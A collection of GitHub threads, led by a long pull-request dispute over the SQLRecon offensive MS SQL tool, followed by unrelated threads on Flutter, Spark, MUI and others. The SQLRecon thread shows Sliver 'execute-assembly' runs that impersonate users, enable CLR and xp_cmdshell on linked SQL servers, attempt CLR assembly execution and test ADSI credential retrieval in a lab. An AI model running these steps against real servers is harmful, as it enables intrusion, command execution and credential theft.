[+] Enabled CLR on SQL03 .
| name        | value |
| ----------- | ----- |
| clr enabled | 1     |

I went as fast as I could to check and solve this problem if I could see it, but I'm totally stuck.

@skahwah, may I present you my apologies 😅. I totally made the enablerpc module from ModuleHandler disappear.
Hi @skahwah! It was here only to see if you will really test the product 😊 (I am joking).
That was my fault. During all these changes, I totally removed the enablerpc from ModuleHandler.cs (yes, why?) and forgot to remove the extra quotes now that I'm generating them on the fly.
Your tests are now up and running.
You can enablerpc first:
sliver (STRAIGHT_NOTE) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /m:enableclr /l:SQL03

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 29d6e55c-7bf1-4a1c-bf92-1868bdf86cc0
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL03
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling CLR integration on SQL03 (via linked servers 0 -> SQL03)
[+] Enabled CLR on SQL03.
| name        | value |
| ----------- | ----- |
| clr enabled | 1     |

Then:
sliver (STRAIGHT_NOTE) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /m:clr /dll:c:\\temp\\sql.dll /function:Chicken

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: 0666b7f6-ec38-4445-8f36-140fc0dcb3b3
 |-> ApplicationName: SQL01
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Performing CLR custom assembly attack on SQL01
[*] CLR is correctly enabled
[X] Unable to load c:\temp\sql.dll
[X] Unable to calculate hash for DLL.

Well, I don't have the right dll at hand, but the CLR is there!

Hi
I have rather lengthly update for you, so please bare with me 😅.
I've paused development efforts for now and focused on functional testing for today. Let's start with the testing conditions.
As you continue reading, you will see that I mention various files. These can be found in the attached SQLRecon functional testing archive.
Testing Steps

Executed all standard modules using SQLRecon v3.3 and the WinToken authentication provider in context of a low privilege user. This results in a nice way to view if error handling is working. This created sqlrecon-standard-WinToken-06-07-2024-09-50.md.
Executed all standard modules using SQLRecon v3.3 and the Local authentication provider in context of 'sa'. This created sqlrecon-standard-Local-06-07-2024-10-09.md.
Executed all linked modules using SQLRecon v3.3 and the WinToken authentication provider in context of a low privilege user. Linked authentication rides off the authentication used to bind the 2 linked servers together, in this case, an 'sa' account is used to bind links between my SQL servers. This created sqlrecon-linked-WinToken-06-07-2024-09-56.md.
Executed all impersonation modules using SQLRecon v3.3 and the WinToken authentication provider in context of a low privilege user; impersonating the 'sa' account where applicable. This created sqlrecon-impersonation-WinToken-06-07-2024-10-00.md.
Executed all standard modules using your version of SQLRecon and the WinToken authentication provider in context of a low privilege user. This results in a nice way to view if error handling is working. This created sqlrecon-standard--06-07-2024-10-30.md.
Executed all standard modules using your version of SQLRecon and the Local authentication provider in context of 'sa'. This created sqlrecon-standard-Local-06-07-2024-10-32.md.
Executed all linked modules using your version of SQLRecon and the WinToken authentication provider in context of a low privilege user. This created sqlrecon-linked--06-07-2024-10-33.md.
Executed all impersonation modules using your version of SQLRecon and the WinToken authentication provider in context of a low privilege user; impersonating the 'sa' account where applicable. This created sqlrecon-impersonation--06-07-2024-11-52.

I have provided the test scripts I used, if you are interested, these are the execution steps:

Open the PS1 script in an editor and uncomment the appropriate authentication type, or edit the authentication string as necessary.
Close the script.
Open PowerShell.exe, not the ISE.
Execute the script using something like powershell.exe -nop -exec bypass .\SQLRecon-NAME-Modules-Test.ps1
Review logs.

As you are read over the test scripts, you will see several references to binaries and DLL's. I've also included the included the C# source files I am using for the various assemblies.

mb.cs just creates a process and a new thread. I name this binary mb-s1.exe (standard execution 1), mb-i1.exe (impersonation execution 1), mb-l1.exe (linked execution 1), etc to track unique execution events in the task list of remote hosts. The mb-*.exe binaries are placed on the remote servers in the C:\temp directory.
sql.cs creates a SQL CLR compatible DLL which just launches notepad, so that it can be seen in the task list. The DLL is stored on the compromised host, or system that SQLRecon is being run from in the C:\temp directory.

Issues
Listed below are the various issues I experienced.
Comparing Standard WinToken Execution
Comparing tests-3.3\sqlrecon-standard-WinToken-06-07-2024-09-50.md with tests-pr-17\sqlrecon-standard--06-07-2024-10-30.md

No issues with test cases 1 - 16
There is an issue with test case 17, where the rhost is not being taken into consideration. This is likley due to deleting a large component of the argument logic necessary to parse optional arguments.
No issues with tests cases 18 - 29

Comparing Standard Local Execution
Comparing tests-3.3\sqlrecon-standard-Local-06-07-2024-10-09.md with tests-pr-17\sqlrecon-standard-Local-06-07-2024-10-32.md

No issues with test cases 1 - 16
Test Case 17: There is an issue where the rhost is not being taken into consideration. This is likley due to deleting a large component of the argument logic necessary to parse optional arguments.
No issues with tests cases 18 - 28
Issue with test case 29, ADSI execution does not retrieve credentials.
All command execution techniques worked well (xp, ole, agent, clr, etc)

Comparing Linked WinToken Execution
Comparing tests-3.3\sqlrecon-linked-WinToken-06-07-2024-09-56.md with tests-pr-17\sqlrecon-linked--06-07-2024-10-33.md
In all cases, I executed queries against just a single linked server.

No issues with test cases 1 - 9
Test case 10: The incorrect SQL Server gets carried, it should be SQL02
Test case 11: The incorrect SQL Server gets carried, it should be SQL02, furthermore, the user should have permissions to execute this module, since it is the 'sa' account, but this does not work.
Test case 12: Verbose error and permissions issue. The user should have permissions to execute this module, since it is the 'sa' account, but this does not work.
Test case 13: Verbose error and permissions issue. The user should have permissions to execute this module, since it is the 'sa' account, but this does not work.
Test case 14: Shows no results, when there should be results.
Test cases 15, 16, 17: User should have permissions, but output says that they don't. Because xpcmdshell can not be enabled, the command can not be executed. xpcmdshell can also not be disabled.
Test case 18, 19, 20: User should have permissions, but output says that they don't. Because OLE automations can not be enabled, the command can not be executed. OLE automations can also not be disabled.
Test case 21, 22, 23: User should have permissions, but output says that they don't. Because RPC and CLR integration can not be enabled, the command can not be executed. RPC and CLR integration can also not be disabled.
Test cases 24 and 25: Shows that the agent is not running, when it is. Probably due to permission context being an issue. This results in agent jobs not being created and executed.
Test cases 26 and 27: User should have permissions, but output says that they don't. Because RPC and CLR integration can not be enabled, retrieving ADSI credentials will not work, disabling RPC also does not work.
No issues with test case 29.
Major issues were experienced. None of the command execution techniques worked.
ADSI execution does not retrieve credentials

Comparing Impersonation WinToken Execution
Comparing tests-3.3\sqlrecon-impersonation-WinToken-06-07-2024-10-00.md with tests-pr-17\sqlrecon-impersonation--06-07-2024-10-34.md
Comparing tests-3.3\sqlrecon-standard-Local-06-07-2024-10-09.md with tests-pr-17\sqlrecon-standard-Local-06-07-2024-10-32.md

No issues with test cases 1 - 12.
Test Case 13: The incorrect SQL Server gets carried, it should be SQL02.
No issues with test cases 14 - 24.
Issue with test case 25: Inconsistent and incorrect results. ADSI credentials are not retrieved

Next Steps
Further Testing

I need to test execution on a tunneled link server
I need to test SYSTEM authentication and impersonation.

Further Development
I appreciate all of your time and effort spent on the project. There are lots of good revisions. I ask that you hold off correcting any of the issues I have outlined in your pull request. I will take a lot of the good work that you have brought into the project and actively start developing the next release shortly. I'll reach out and provide you with a private copy of the tool before I'm ready to release, if that interests you. I'll also provide you with credit on the specific areas of SQLRecon that you have improved.

@skahwah, thank you for your detailed feedback and the extensive functional testing documentation. I appreciate the time and effort you have invested in evaluating the pull request. 👏
I have reviewed the issues and made the necessary corrections.
The primary issue was a typo in using _sqlServer instead of _arg1 in some methods, which affected the rhost handling. Second one was the use of ExecuteTunnelCustomQuery instead of ExecuteTunnelCustomQueryRpcExec. This has now been corrected.
Here are the details of the fixes:
Comparing Standard Local Execution

Test Case 17: The issue was due to not using the _arg1 variable correctly. This has been fixed.

Test Case 30: The ADSI issue was caused by unnecessary single quotes ('). These have now been removed.

Linked WinToken Execution

Test Cases 12, 13, 14: The incorrect servers were carried due to the rhost issue. Additionally, I had mistakenly used ExecuteTunnelCustomQuery instead of ExecuteTunnelCustomQueryRpcExec. These have been corrected, impacting the columns, rows, and search functionalities.

Test Cases 15, 16, 17: It works well for me.

sliver (THEN_LYNX) > execute-assembly /home/kali/git/perso/SQLRecon/SQLRecon/SQLRecon/bin/Release/SQLRecon.exe /i:webapp01 /l:SQL02 /m:enablexp

[*] Output:
[*] Connecting to MS SQL instance using wintoken on SQL01:1433 for master.
 |-> DataSource: SQL01,1433
 |-> Database: master
 |-> ServerVersion: 15.00.2000
 |-> State: Open
 |-> WorkstationId: SQL01
 |-> PacketSize: 8000
 |-> ClientConnectionId: b5f7d2eb-0b07-4d34-8b45-113cf53af060
 |-> ApplicationName: SQL01
[*] Setting link path: 0 -> SQL02
[+] Logged in as server user 'NT AUTHORITY\SYSTEM'
 |-> Mapped to the username 'dbo'
[+] Impersonated server user 'webapp01'
 |-> Mapped to the username 'dbo'
[*] Enabling xp_cmdshell on SQL02 (via linked servers 0 -> SQL02)
[+] Enabled xp_cmdshell on SQL02.
| name        | value |
| ----------- | ----- |
| xp_cmdshell | 1     |

Test Cases 18, 19, 20: These tests are also working correctly for me.

Test Cases 21, 22, 23: These tests work as intended.

Test Cases 24, 25: The issue was due to the single quote and an incorrect ExecuteLinkedCustomQuery. These have been corrected.

Test Cases 26, 27: The rhost issue has been resolved.

Next Steps
I kindly request you to run all your tests again with the updated version to verify the fixes. I really like your way of testing and collaborating!
I respectfully disagree with the decision to not accept this PR and continue development independently. It would be disrespectful to disregard the significant time and effort I have invested in this project. 😅
I believe my contributions have added considerable value, and I am committed to improving this tool, don't you?
I strongly suggest we work together to address any remaining issues and finalize this PR. My aim is to contribute meaningfully and enhance the tool for everyone’s benefit. I am confident that by collaborating, we can efficiently resolve any outstanding problems and deliver a robust solution!😊
Thank you for considering my contributions. I look forward to your feedback.

On Wed, Jun 12, 2024 at 10:00 AM n3rada @.***> wrote:

Little up for you @skahwah https://github.com/skahwah
—
Reply to this email directly, view it on GitHub
https://github.com/skahwah/SQLRecon/pull/17#issuecomment-2163085957, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ABKPIRV5PYDJXTW2HL2TK33ZHBH6JAVCNFSM6AAAAABGBLYQOGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNRTGA4DKOJVG4
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
Sanjiv Kawa

Fair enough, but not good enough! I'm pretty sure you'll agree that my changes are good and worth merging. Would you mind trying your tests again in your laboratory environment?

Acknowledging receipt of your message.Sanjiv KawaSent from my mobile deviceOn Jun 13, 2024, at 2:40 PM, n3rada @.***> wrote:
Fair enough, but not good enough! I'm pretty sure you'll agree that my changes are good and worth merging. Would you mind trying your tests again in your laboratory environment?
—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you were mentioned.Message ID: @.***>

@n3rada I had an opportunity to test your changes earlier today, and the expected behavior is better, and getting close to production. I've started building some changes on top of yours. Thanks for your patience.

Thanks for letting my changes the chance to reflect your production! 😊
Do not hesitate to invoke my help, I know what I have done and could help you correct things quickly, if I let mistakes somewhere in the refactorisation.
Would you push directly on this PR before merging or merging on a dev branch and then pushing some commits?🫸

@skahwah any news? If it needs some changes on your side on top of mines, why not accepting this one into a dev branch to push yours on top?

Completed my additions and testing this weekend. Now working on some refactoring and updating documentation @n3rada

I am really keen on seeing your pushed along mines 👀!

Changes integrated into v3.7. Thanks for suggestions and work!

Wtf. So you do not accept the PR? My work will not appear as a contribution tho'?

@n3rada I have been very appreciative of your work throughout this process, even when you have repeatedly been pushy and even eluded to me as being disrespectful.
The fact of the matter is, you volunteered your time. I didn’t ask you to spend time and energy on my project.  Grow up.
Your name has been scattered throughout the comments of the program, release notes and README.
Merging your code would have been detrimental to the project without the proper review. There were some solid additions, but overall, it was rushed and not up to my standards. That is why the pull request was not merged in.
If you really want me to support your validation system by adding you as a contributor, feel free to add a space to the README file or something and you’ll get your coveted badge. Otherwise, I hope you reflect on how you have approached this situation and grow from the experience.

I believe your initial intentions were good, but the outcome was not handled properly. However, I do appreciate that the acceptance of my later PR (#18) somewhat compensates for this situation by adding a proper credits section to the README and myself to the contributor list.
Moreover, I would like to conclude this discussion and set the record straight. Your behavior has been both disrespectful and disappointing.
My primary objective was to contribute to an open-source project that I believe is the best around. However, the response I received, particularly the "Grow up" remark, was unprofessional and uncalled for. The only unprofessional behavior here has been on your part. I have consistently responded to requests, perhaps in a manner you found "pushy," but always with the goal of producing the cleanest, most effective code possible.
You did not ask me to commit anything, indeed. Your project is open-source, and helping the main developer advance their project is the essence of open source.
The issue originally raised (#16), which you suggested was not feasible:

To my knowledge, it's not possible to achieve a double hop execution cleanly with OpenQuery.

was successfully implemented by me. Despite this achievement and others, such as improved impersonation and user emulation, the way the code has been integrated erases my contributions from the commit history, effectively removing me from the list of contributors.
While you quoted me within the code, that's not the purpose of a Git repository. Git is meant to keep an accurate history of all developers' contributions and code changes. Properly managing this case (and in a more macroscopic way, your repository) would involve:

Creating a new branch named dev.
Merging my PR into the dev branch.

From there, you could have:

Refactored the code within the dev branch.
Committed your changes with clear messages detailing the refactoring.
Merged the dev branch back into the main branch once everything was thoroughly tested and reviewed.

This process preserves the contribution history and acknowledges all developers' efforts appropriately.
It's also worth noting that I could have implemented all these functionalities in a different tool released under my own name. I can assure you that you would have been quite upset seeing this in the wild. Instead, I chose to take the time to create professional Pull Requests to contribute to your project because I believed in its value and wanted to support it.
Your current behavior contradicts the principles of the BSD 3-Clause License under which your project is licensed. This license supports modification and redistribution, provided that all contributors are appropriately acknowledged. By erasing my contributions from the commit history, you are not adhering to the spirit of this license.
I hope this experience can lead to better practices in the future on your side. Also, publishing claims that only you made significant changes to the tool, as seen in your X post (https://x.com/sanjivkawa/status/1808275277325517186?t=qMlPOeNyApVoKocTCA1ZbQ), is misleading and disingenuous.

You are entitled to your own opinion.


Roll engine 2586e9412257..6c2477bd2991 (8 commits)

https://github.com/flutter/engine/compare/2586e9412257...6c2477bd2991
git log 2586e9412257..6c2477bd2991 --no-merges --oneline
6c2477bd2 fix setter for viewOpaque (flutter/engine#6653)
2bd8c94fc Roll src/third_party/skia a7682c8c73e4..4f598e8c829a (8 commits) (flutter/engine#6654)
e1e60933b Realize kernel asset mappings on a worker thread if one is available. (flutter/engine#6648)
d3874a9ca Roll src/third_party/skia 3b57279fd65a..a7682c8c73e4 (9 commits) (flutter/engine#6652)
3dddf4d5b Roll src/third_party/skia 8429c7930291..3b57279fd65a (2 commits) (flutter/engine#6650)
7b3bb62a8 Roll src/third_party/skia 3aca39df7b22..8429c7930291 (5 commits) (flutter/engine#6647)
26e8840de Dart SDK roll for 2018-10-23
9829c51a9 Roll src/third_party/skia b46c4d0925ad..3aca39df7b22 (12 commits) (flutter/engine#6643)
The AutoRoll server is located here: https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md
If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

@liyuqian : New roll has been created by https://autoroll.skia.org/r/flutter-engine-flutter-autoroll

Commit queue failed; closing this roll.


remove feature flag for new project dashboard

What does this PR do and why?
Provide a description of what this PR does. Link to any relevant GitHub issues, Notion tasks or Discord discussions.
Screenshots or screen recordings
If applicable, provide screenshots or screen recordings to demonstrate the changes.
Acceptance checklist

[ ] I have evaluated the Approval Guidelines for this PR.
[ ] (if relevant) I have tested this PR in all supported browsers.
[ ] (if relevant) I have tested this PR in dark mode and light mode (if applicable).

Current dependencies on/for this PR:

main

PR #3907   👈

This comment was auto-generated by Graphite.


fix: envars default to none will trigger error

Problem: if a workflow does not have default envvars, the function get_envvar_declarations will error trying to iterate over a None object.
Solution: add an or {} to ensure that we do not error.

Bug that is breaking tests should be fixed here: https://github.com/snakemake/snakemake-interface-common/pull/25

Thanks! This has been fixed in the settings class now (it now always gives a sequence, also in the empty case).


POC A new implementation of accelerated gradient descent using a proposed interface based on TFOCS.

This PR is currently a POC to validate the proposed optimization interface. Not yet ready for
detailed code comments (or production use). The implementation does produce the same output as
TFOCS for some example cases.

@staple Thanks for the POC! Did you see any performance loss with the new interface?

@mengxr, thanks for taking a look!
In terms of optimization performance, the behavior is the same (per iteration) as tfocs.
In terms of runtime performance - I haven't done any runtime performance testing yet for this project. So far I have just tested small datasets on a single system. Also, this PR changes two things from the existing implementation. It adds the linear operator optimizations and adds the new interface. For performance testing, I would recommend testing:
A) Previous implementation I wrote (without linear operator optimizations or new interface), optimized without the linear operator optimizations
B) An optimized version with the linear operator optimizations, but without the new interface (using special purpose spark aggregations inline)
C) The version in this PR, with linear operator optimizations and the new interface.
I believe the performance difference between A and B may vary based on the test case. The linear operator optimizations do just one iteration over each design matrix row in each spark job, but they add RDD caching and additional RDD dependency layers. A test demonstrating a performance improvement of B over A would need to have a sufficient number of features.
If the above makes sense I can look at doing some performance testing.

@staple This looks pretty good to me. And the test plan you suggested sounds good as well. Another TODO would be the implementation of standard prox-capable functions. I saw that you already implemented L1, but it is not used in TFOCS.minimize.

@mengxr Thanks for looking it over. The L1 prox function can be passed to TFOCS.minimize (which I did in my test script). From the test script:
      val res = TFOCS.minimize(new SquaredErrorRDDDouble(b),
                               new ProductRDDVector(A),
                               new ZeroProxVector,
                               initialWeights)

      val res = TFOCS.minimize(new SquaredErrorRDDDouble(b),
                               new ProductRDDVector(A),
                               new L1ProxVector(regParam),
                               initialWeights)

If it the implementation looks good so far I can move forward with performance testing. I'll follow up with you out of band on performance testing.


jc.setType(String)

I dont know if this is already existing but it would be nice to have a this.setType('red') fn for handling error callbacks in Ajax promise methods.

Thanks for the suggestion @jofftiquez 👍

Nice! Thanks @craftpip :)


DalamudReflector.RegisterOnInstalledPluginsChangedEvents not triggering

The method does not appear to run at any time, the log message that the event was fired never shows - no error, just never runs.

Hello! I'll check it in a bit

Hello! Just giving an update on it, unfortunately this is issue on Dalamud's side, ActivePluginsChange event simply doesn't works

Did you have a chance to put in a bug for it, or can you link it? I'm not sure where I would submit that

Did you have a chance to put in an issue for it? I'm not sure where I would submit that

Not yet, but I have implemented workaround now and it seems to work fine. Please try it in the latest version and let me know

I believe this issue is resolved now, I'm going to close and if there is still an issue please reopen it


Expand protobuf demo

Make use of well-known types
Attempt to make use of validation (doesn't yet work due to a lack of Rust support).
Add a version and go package inline to compare against existing specs we use.

To support validation, it would probably require prost to vendor validate.proto as they currently do with Google's well-known types. And then someone would need to replicate a little bit of glue code to Rust.

Shame about the validation stuff for now but hopefully the ecosystem around this stuff continues to mature :)

I did manage to generate code for validate, but the bindings are somewhat awkward given that post seems to expect that third-party bindings are vendored. I suspect there's a way to induce prost to generate code that references another repo, but haven't dug much into it yet.


"Error: Network Error"

Describe the bug
Getting a "Error: Network Error" pop up message when loading the "main" webpage after log in. Seems to be a CORS issue:
"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://yuq7ws39pj.execute-api.us-east-1.amazonaws.com/prod/recommendations. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 502."
To Reproduce
Steps to reproduce the behavior:

Log in
Load the webpage (https://d2h3ljlsmzojxz.cloudfront.net/)

Expected behavior
Expected no error
Screenshots

Desktop (please complete the following information):

Firefox

Yes, that is the old demo stack that I need to deprecate.  I'll be updating the README soon with the latest stack deployed here:  https://d2n8xfsn53tzfm.cloudfront.net/
Let me know if you have any issues with this other stack.


[@mui/styled-engine-sc] Do not allow styled-components' APIs on mui styled function

[x] I have followed (at least) the PR section of the contributing guide.

Closes https://github.com/mui-org/material-ui/issues/28364
Code sandbox: https://codesandbox.io/s/usage-forked-tu7kl?file=/index.js

Looks good. In order for us to be sure that this works, I would propose when opening a PR to add tests or create a codesandbox that will ensure that the fix is being made. A codesandbox link would be sufficient in this case, as we are removing API from dev mode only and we didn't even have tests to cover it.

Looks good. In order for us to be sure that this works, I would propose when opening a PR to add tests or create a codesandbox that will ensure that the fix is being made. A codesandbox link would be sufficient in this case, as we are removing API from dev mode only and we didn't even have tests to cover it.

Note that ci/codesandbox does this automatically if the linked issue has a codesandbox. So by following best practices in adding a codesandbox repro to the issue, you automatically have a test generated when opening a PR.
The only issue is that it doesn't work if the linked issue codesandbox still uses @material-ui/* instead of @mui/*. But that's only a temporary issue.
Should document this in CONTRIBUTING and test/README

Looks good. In order for us to be sure that this works, I would propose when opening a PR to add tests or create a codesandbox that will ensure that the fix is being made. A codesandbox link would be sufficient in this case, as we are removing API from dev mode only and we didn't even have tests to cover it.

@mnajdova I just added a code sandbox!

@hbjORbj the codesandbox didn't really illustrated that the issue is fixed. What needs to be done:

provide the packages from this PR in package.json (you can click on the ci/codesandbox checks in the PR and follow the Local Install Instructions)
deploy the codesandbox in netlify and ensure that the error is indeed shown in production

I've create this codesandbox: https://codesandbox.io/s/boring-gauss-1irb0?file=/src/App.tsx
Note that in package json, the dependency on @mui/styled-engine-sx points to this PR's build package. Then I deployed this on netlify and I can ensure that the production build shown the same error as the one shown in development mode: https://csb-1irb0.netlify.app/

@mnajdova Ah, you are right :) Thanks! I created a new code sandbox and deployed it on netlify: https://csb-k4yl5.netlify.app/. @mui/styled-engine-sx points to this PR's build package, but I do not get this error: Uncaught TypeError: Object(...)(...).attrs is not a function as yours, even if my code sandbox looks exactly the same as yours. Do you have any idea?

As fat as I can see you are still using 5.0.0 check the package.json

@mnajdova Sorry, I didn't save well. Now it outputs an error as expected.
Code sandbox: https://codesandbox.io/s/blissful-bell-k4yl5
Preview: https://csb-k4yl5.netlify.app/

Though I would prefer that this kind of change has a automated test. Because it looks like the change results in equivalent behavior.

@eps1lon I just realised I didn't address this comment. I will create a separate PR for this.